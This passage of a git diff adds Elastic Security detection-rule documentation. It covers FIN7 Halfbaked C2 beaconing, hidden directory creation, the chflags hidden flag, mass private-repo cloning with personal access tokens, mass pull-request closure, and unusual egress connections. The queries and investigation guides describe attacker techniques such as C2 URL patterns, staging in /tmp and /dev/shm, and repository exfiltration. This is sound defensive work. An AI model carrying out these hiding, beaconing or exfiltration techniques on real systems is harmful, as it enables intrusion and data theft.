<>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html +* https://attack.mitre.org/software/S0151/ + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Command and Control +* Domain: Endpoint +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Domain: Network +* Data Source: Network Packet Capture + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Halfbaked Command and Control Beacon* + + +Halfbaked malware exploits common network protocols to maintain persistence and facilitate command and control (C2) operations within compromised networks. Adversaries leverage HTTP and TLS protocols to disguise malicious traffic as legitimate, often targeting specific ports like 53, 80, 8080, and 443. The detection rule identifies suspicious network patterns, such as unusual URL structures and specific transport protocols, to flag potential C2 beaconing activities. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify any connections to IP addresses matching the pattern specified in the query (e.g., http://[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/cd) and determine if these IPs are known or suspicious. +- Analyze the destination ports (53, 80, 8080, 443) used in the flagged traffic to assess if they align with typical usage patterns for the affected systems or if they indicate potential misuse. +- Examine the HTTP and TLS traffic details to identify any unusual URL structures or anomalies in the network.protocol field that could suggest malicious activity. +- Correlate the detected network activity with endpoint logs to identify any associated processes or applications that may have initiated the suspicious traffic. +- Investigate any related alerts or historical data for patterns of similar activity, which could indicate a persistent threat or ongoing compromise within the network. + + +*False positive analysis* + + +- Legitimate software updates or patch management systems may use similar URL structures and ports, leading to false positives. Users can create exceptions for known update servers by whitelisting their IP addresses or domain names. +- Internal web applications or services that use non-standard ports like 8080 for HTTP traffic might trigger the rule. Identify these applications and exclude their traffic from the rule by specifying their IP addresses or domain names. +- Network monitoring tools or security appliances that perform regular scans or health checks over HTTP or TLS might mimic the detected patterns. Exclude these tools by adding their IP addresses to an exception list. +- Content delivery networks (CDNs) often use IP-based URLs for load balancing and might be mistaken for malicious activity. Verify the legitimacy of the CDN traffic and exclude it by whitelisting the associated IP ranges. +- Automated scripts or bots within the network that access external resources using IP-based URLs could trigger alerts. Review these scripts and, if deemed safe, exclude their traffic by specifying their source IP addresses. + + +*Response and remediation* + + +- Isolate the affected systems from the network immediately to prevent further communication with the command and control server. +- Conduct a thorough scan of the isolated systems using updated antivirus and anti-malware tools to identify and remove the Halfbaked malware. +- Analyze network traffic logs to identify other potentially compromised systems by looking for similar suspicious network patterns and URL structures. +- Block the identified malicious IP addresses and domains at the network perimeter to prevent further communication attempts. +- Apply security patches and updates to all systems and applications to close vulnerabilities exploited by the malware. +- Restore affected systems from clean backups, ensuring that the backups are free from any signs of compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the scope of the breach. + + +*Threat intel* + + +This activity has been observed in FIN7 campaigns. + +==== Rule query + + +[source, js] +---------------------------------- +from packetbeat-*, filebeat-*, logs-network_traffic.* metadata _id, _version, _index +| where ( + data_stream.dataset in ("network_traffic.tls", "network_traffic.http") or + (event.category in ("network", "network_traffic") and network.protocol == "http") + ) +| where network.transport == "tcp" +| where url.full RLIKE "http://[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}/cd" +| where destination.port in (53, 80, 8080, 443) +| keep @timestamp, url.full, source.ip, destination.ip, destination.port, network.protocol, data_stream.dataset, _id, _version, _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-hidden-directory-creation-via-unusual-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-hidden-directory-creation-via-unusual-parent.asciidoc new file mode 100644 index 0000000000..d3cd20cc35 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-hidden-directory-creation-via-unusual-parent.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-hidden-directory-creation-via-unusual-parent]] +=== Hidden Directory Creation via Unusual Parent + +This rule detects the creation of a hidden directory via an unusual parent executable. Hidden directories are directories that are not visible to the user by default. They are often used by attackers to hide malicious files or tools. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Tactic: Persistence +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Hidden Directory Creation via Unusual Parent* + + +In Linux environments, hidden directories, often prefixed with a dot, are typically used for configuration files but can be exploited by attackers to conceal malicious activities. Adversaries may create these directories using unexpected parent processes in sensitive locations. The detection rule identifies such anomalies by monitoring directory creation commands executed by unusual parent executables, focusing on specific directories and excluding known benign patterns. + + +*Possible investigation steps* + + +- Review the process.parent.executable field to identify the parent process that initiated the directory creation and assess its legitimacy based on its typical behavior and location. +- Examine the process.args field to understand the specific arguments used with the mkdir command, focusing on the directory path and any patterns that may indicate malicious intent. +- Check the process.command_line field for any unusual or suspicious command-line patterns that might suggest an attempt to evade detection. +- Investigate the context of the parent process by reviewing recent activities or logs associated with it, especially if it originates from sensitive directories like /dev/shm, /tmp, or /var/tmp. +- Correlate the alert with other security events or logs from the same host to identify any related suspicious activities or patterns that could indicate a broader attack or compromise. +- Consult threat intelligence sources or databases to determine if the parent executable or directory path has been associated with known malicious activities or threat actors. + + +*False positive analysis* + + +- Temporary directories used by legitimate applications can trigger false positives. Exclude known benign parent executables like those in "/tmp/newroot/*" or "/run/containerd/*" to reduce noise. +- Automated build processes may create hidden directories during software compilation. Add exceptions for parent executables such as "/var/tmp/buildah*" or "/tmp/python-build.*" to prevent unnecessary alerts. +- Development tools and scripts might create hidden directories for caching or temporary storage. Consider excluding parent executables like "/tmp/pear/temp/*" or "/tmp/cliphist-wofi-img" if they are part of regular development activities. +- Ensure that the command line patterns like "mkdir -p ." or "mkdir ./*" are excluded, as these are common in scripts and do not typically indicate malicious intent. +- Regularly review and update the list of excluded patterns and parent executables to align with changes in the environment and reduce false positives effectively. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes associated with the unusual parent executable identified in the alert to halt potential malicious operations. +- Conduct a thorough review of the hidden directory and its contents to identify and remove any malicious files or tools. +- Restore any affected files or configurations from a known good backup to ensure system integrity. +- Implement stricter access controls and monitoring on sensitive directories to prevent unauthorized directory creation. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are compromised. +- Update and enhance endpoint detection and response (EDR) solutions to improve detection capabilities for similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "exec_event") and +process.name == "mkdir" and process.parent.executable like ( + "/dev/shm/*", "/tmp/*", "/var/tmp/*", "/var/run/*", "/root/*", "/boot/*", "/var/www/html/*", "/opt/.*" +) and process.args like (".*", "/*/.*") and process.args_count <= 3 and +not ( + process.command_line like ("mkdir -p .", "mkdir ./*") or + process.args like ("/root/.ssh", "/home/*/.ssh", "/root/.cache/install4j") or + process.parent.executable like ( + "/tmp/pear/temp/*", "/var/tmp/buildah*", "/tmp/python-build.*", "/tmp/cliphist-wofi-img", "/tmp/snap.rootfs_*", + "/root/.acme.sh/acme.sh", "/tmp/buildpacks/*go/bin/test-compile", "/tmp/newroot/*", "/run/containerd/*" + ) or + process.parent.name in ("libtool", "jpenable", "configure") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-hidden-files-and-directories-via-hidden-flag.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-hidden-files-and-directories-via-hidden-flag.asciidoc new file mode 100644 index 0000000000..9311311451 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-hidden-files-and-directories-via-hidden-flag.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-34-hidden-files-and-directories-via-hidden-flag]] +=== Hidden Files and Directories via Hidden Flag + +Identify activity related where adversaries can add the 'hidden' flag to files to hide them from the user in an attempt to evade detection. This behavior is often observed in attempts to conceal malicious files or maintain persistence on a compromised system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Hidden Files and Directories via Hidden Flag* + + +In Unix-like systems, the 'hidden' flag can be set on files to conceal them from standard directory listings, a feature often exploited by adversaries to obscure malicious files. Attackers may use commands like `chflags` to apply this flag, making detection challenging. The detection rule targets file creation events involving `chflags`, helping identify potential misuse by monitoring for suspicious activity on Linux and macOS systems. + + +*Possible investigation steps* + + +- Review the alert details to confirm the host operating system is Linux, as specified by the query field `host.os.type == "linux"`. +- Examine the process execution details to verify that the `chflags` command was used, as indicated by `process.name == "chflags"`. +- Investigate the file creation event to identify the specific file or directory that had the 'hidden' flag applied, focusing on the `event.type == "creation"` field. +- Check the user account associated with the `chflags` command execution to determine if it aligns with expected user behavior or if it might indicate unauthorized access. +- Analyze recent system logs and user activity on the affected host to identify any other suspicious behavior or anomalies that could suggest malicious intent. +- Correlate this event with other alerts or indicators of compromise on the same host to assess if this is part of a larger attack pattern or isolated incident. + + +*False positive analysis* + + +- System maintenance scripts may use the chflags command to manage file visibility for legitimate purposes. Review scheduled tasks and scripts to identify benign uses and create exceptions for these processes. +- Backup and recovery operations might employ the hidden flag to protect critical files from accidental deletion. Verify backup software configurations and exclude these operations from triggering alerts. +- Development environments could use hidden files to manage version control or configuration settings. Collaborate with development teams to understand their workflows and whitelist known development-related activities. +- Security tools and utilities may use the hidden flag as part of their normal operation to protect sensitive files. Identify these tools and add them to an exception list to prevent unnecessary alerts. +- User customization scripts might apply the hidden flag to personalize the user environment. Engage with users to document these customizations and exclude them from detection rules. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity or lateral movement. +- Terminate any suspicious processes associated with `chflags` to halt any ongoing attempts to hide files. +- Conduct a thorough review of recently created files and directories on the affected system to identify and assess any hidden files for malicious content. +- Restore any critical files that may have been hidden or altered from known good backups to ensure system integrity. +- Implement file integrity monitoring to detect unauthorized changes to file attributes, including the hidden flag, on critical systems. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Update and enhance endpoint detection and response (EDR) solutions to improve detection capabilities for similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.name == "chflags" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-high-number-of-cloned-github-repos-from-pat.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-high-number-of-cloned-github-repos-from-pat.asciidoc new file mode 100644 index 0000000000..c095b56ed7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-high-number-of-cloned-github-repos-from-pat.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-high-number-of-cloned-github-repos-from-pat]] +=== High Number of Cloned GitHub Repos From PAT + +Detects a high number of unique private repo clone events originating from a single personal access token within a short time period. + +*Rule type*: threshold + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Use Case: UEBA +* Tactic: Execution +* Data Source: Github +* Data Source: GitHub Audit Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Threshold +* Platform: GitHub +* Domain: SaaS + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating High Number of Cloned GitHub Repos From PAT* + + +Personal Access Tokens (PATs) facilitate automated access to GitHub repositories, enabling seamless integration and management. However, adversaries can exploit compromised PATs to clone numerous private repositories rapidly, potentially exfiltrating sensitive code. The detection rule identifies unusual cloning activity by monitoring for a surge in unique private repo clones from a single PAT, signaling potential misuse. + + +*Possible investigation steps* + + +- Review the specific personal access token (PAT) involved in the alert to determine its owner and associated user account. +- Analyze the event logs for the PAT to identify the number and names of private repositories cloned, focusing on any unusual or unauthorized access patterns. +- Check the access history of the PAT to see if there are any other suspicious activities or anomalies, such as access from unfamiliar IP addresses or locations. +- Contact the owner of the PAT to verify if the cloning activity was authorized and to gather additional context about the usage of the token. +- Investigate the security posture of the affected repositories, including reviewing access permissions and recent changes to repository settings. +- Consider revoking the compromised PAT and issuing a new one if unauthorized access is confirmed, and ensure the user updates any systems or scripts using the old token. + + +*False positive analysis* + + +- Legitimate automated processes or CI/CD pipelines may trigger multiple clone events. Review and whitelist known IP addresses or tokens associated with these processes to prevent false alerts. +- Developers working on multiple projects might clone several private repositories in a short period. Identify and exclude these users or their tokens from triggering alerts by maintaining a list of frequent cloners. +- Organizational scripts or tools that require cloning multiple repositories for updates or backups can cause false positives. Document these scripts and create exceptions for their associated tokens. +- Scheduled maintenance or migration activities involving repository cloning can be mistaken for suspicious activity. Coordinate with relevant teams to anticipate such events and temporarily adjust detection thresholds or exclude specific tokens. + + +*Response and remediation* + + +- Immediately revoke the compromised Personal Access Token (PAT) to prevent further unauthorized access to private repositories. +- Notify the repository owners and relevant stakeholders about the potential breach to assess the impact and initiate internal incident response procedures. +- Conduct a thorough review of the cloned repositories to identify any sensitive or proprietary information that may have been exposed. +- Implement additional access controls, such as IP whitelisting or two-factor authentication, to enhance security for accessing private repositories. +- Monitor for any unusual activity or further unauthorized access attempts using other PATs or credentials. +- Escalate the incident to the security team for a comprehensive investigation and to determine if any other systems or data have been compromised. +- Update and enforce policies regarding the creation, usage, and management of PATs to prevent similar incidents in the future. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"github.audit" and event.category:"configuration" and event.action:"git.clone" and +github.programmatic_access_type:("OAuth access token" or "Fine-grained personal access token") and +github.repository_public:false + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Code Repositories +** ID: T1213.003 +** Reference URL: https://attack.mitre.org/techniques/T1213/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-high-number-of-closed-pull-requests-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-high-number-of-closed-pull-requests-by-user.asciidoc new file mode 100644 index 0000000000..3361853cc5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-high-number-of-closed-pull-requests-by-user.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-34-high-number-of-closed-pull-requests-by-user]] +=== High Number of Closed Pull Requests by User + +Detects a high number of closed pull requests by a single user within a short time frame. Adversaries may close multiple pull requests to disrupt development workflows or hide malicious changes. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://trigger.dev/blog/shai-hulud-postmortem +* https://posthog.com/blog/nov-24-shai-hulud-attack-post-mortem + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Exfiltration +* Data Source: Github +* Data Source: GitHub Audit Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: ES|QL +* Platform: GitHub +* Domain: SaaS + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating High Number of Closed Pull Requests by User* + + +This rule flags a single user rapidly closing many pull requests in a short window, a disruptive pattern that suppresses review history, delays releases, and masks unauthorized changes. An attacker with stolen maintainer access mass-closes pull requests across multiple repositories, then force-pushes branches and opens new pull requests that sidestep earlier review threads, making malicious edits appear routine amid churn. + + +*Possible investigation steps* + + +- Determine if the actor is a bot or sanctioned maintenance by confirming account type, scheduled workflows, and change advisories from repo/org owners. +- Open a sample of the closed PRs to review comments, labels, linked issues, and whether closure coincided with branch deletions, force-pushes, or unusual commit history in the target branches. +- Correlate the closure burst with audit events for permission changes, role assignments, repository settings edits, or protection rule modifications to detect potential sabotage. +- Validate the actor’s IPs, geolocation, and user agents against baselines and check for recent PAT creations, OAuth app grants, or SSO anomalies indicating credential theft. +- Identify whether closed PRs were immediately replaced by new PRs carrying similar diffs that bypass prior review threads and required checks, and verify branch protection remained enforced. + + +*False positive analysis* + + +- A maintainer or org-owned bot performs scheduled backlog hygiene, closing stale, duplicate, or superseded PRs across multiple repositories after a default branch rename or policy update, resulting in a high closure count from one account. +- During a planned migration or archival, a release manager closes PRs tied to deprecated branches and consolidates work into new targets, legitimately generating a burst of closures attributed to a single user. + + +*Response and remediation* + + +- Immediately contain by removing the user from teams with Triage/Write permissions on affected repositories, revoking their personal access tokens from Tokens & keys, and tightening branch protection by disallowing force-pushes and restricting who can push to main and release branches. +- Trigger escalation to Security Incident Response if closed pull requests span more than five repositories within one hour, coincide with branch deletions or forced pushes, or originate from a new user agent/IP, and disable the account at the identity provider while contacting GitHub Support. +- Eradicate impact by reopening legitimate PRs via each closed PR URL, using Restore branch or recreating the head branch from the last known commit SHA, and reapplying required labels and reviewers. +- Recover repository state by comparing diffs of closed PRs to any newly opened PRs by the same user, reverting unauthorized commits in target branches with git revert, and re-running required status checks before merging. +- Harden controls by enforcing branch protection rules (require two approvals, restrict who can dismiss reviews, require signed commits), enabling CODEOWNERS for critical paths, and turning off Allow deletions on default and release branches. +- Prevent recurrence by disabling classic PATs and requiring short-lived fine-grained PATs, revoking unusual OAuth app grants, mandating SSO with hardware-backed MFA, and installing a GitHub App/Action that notifies on PR closures with PR URLs, repos, and branches and requires a reason-coded label per policy. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-github.audit-* metadata _id, _index, _version +| where + data_stream.dataset == "github.audit" and + github.category == "pull_request" and + event.type == "change" and + event.action == "pull_request.close" +| stats + Esql.document_count = COUNT(*), + Esql.github_org_values = values(github.org), + Esql.github_repo_values = values(github.repo), + Esql.github_user_agent_values = values(github.user_agent), + Esql.github_pull_request_url_values = values(github.pull_request_url), + Esql.user_name_values = values(user.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by user.name + +| keep Esql.* + +| where + Esql.document_count >= 10 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Code Repository +** ID: T1567.001 +** Reference URL: https://attack.mitre.org/techniques/T1567/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-high-number-of-egress-network-connections-from-unusual-executable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-high-number-of-egress-network-connections-from-unusual-executable.asciidoc new file mode 100644 index 0000000000..96628493d4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-high-number-of-egress-network-connections-from-unusual-executable.asciidoc @@ -0,0 +1,228 @@ +[[prebuilt-rule-8-19-34-high-number-of-egress-network-connections-from-unusual-executable]] +=== High Number of Egress Network Connections from Unusual Executable + +This rule detects a high number of egress network connections from an unusual executable on a Linux system. This could indicate a command and control (C2) communication attempt, a brute force attack via a malware infection, or other malicious activity. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: ES|QL +* Platform: Linux + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating High Number of Egress Network Connections from Unusual Executable* + + +In Linux environments, executables can initiate network connections for legitimate purposes. However, adversaries exploit this by deploying malware in temporary directories to establish command and control (C2) channels. The detection rule identifies unusual executables making numerous outbound connections, excluding trusted IP ranges and known benign paths, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process.executable field to identify the specific executable making the connections and determine if it is known or expected in the environment. +- Examine the destination.ip field to identify the external IP addresses the executable is attempting to connect to and check if they are known malicious or suspicious. +- Check the host.os.type and agent.id fields to identify the specific host and agent involved, and gather additional context about the system's role and recent activity. +- Analyze the @timestamp field to correlate the timing of the connections with other events or activities on the network or host. +- Cross-reference the identified executable and IP addresses with threat intelligence sources to determine if they are associated with known threats or campaigns. +- If the executable is determined to be malicious or suspicious, isolate the affected host and perform a deeper forensic analysis to identify any additional indicators of compromise or lateral movement. + + +*False positive analysis* + + +- Executables in temporary directories used by legitimate applications or scripts can trigger alerts. Review the process name and executable path to determine if they are associated with known applications or scripts. +- Automated scripts or cron jobs that perform network operations might be flagged. Identify these scripts and consider excluding their paths from the rule if they are verified as non-malicious. +- Development or testing environments often use temporary directories for network operations. If these environments are known and trusted, add their specific paths to the exclusion list. +- Backup or synchronization tools that use temporary directories for data transfer can generate numerous connections. Verify these tools and exclude their paths if they are confirmed to be safe. +- Security tools or monitoring agents that operate in temporary directories might be mistakenly flagged. Confirm their legitimacy and exclude their paths to prevent false positives. + + +*Response and remediation* + + +- Isolate the affected host immediately from the network to prevent further potential malicious communication and lateral movement. +- Terminate the suspicious process identified by the alert to stop any ongoing malicious activity. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise (IOCs) and assess the extent of the infection. +- Remove any malicious executables or files found in temporary directories such as /tmp, /var/tmp, or /dev/shm to eliminate the threat. +- Patch and update the affected system to the latest security standards to close any vulnerabilities that may have been exploited. +- Monitor network traffic for any unusual outbound connections from other systems to detect potential spread or similar threats. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query 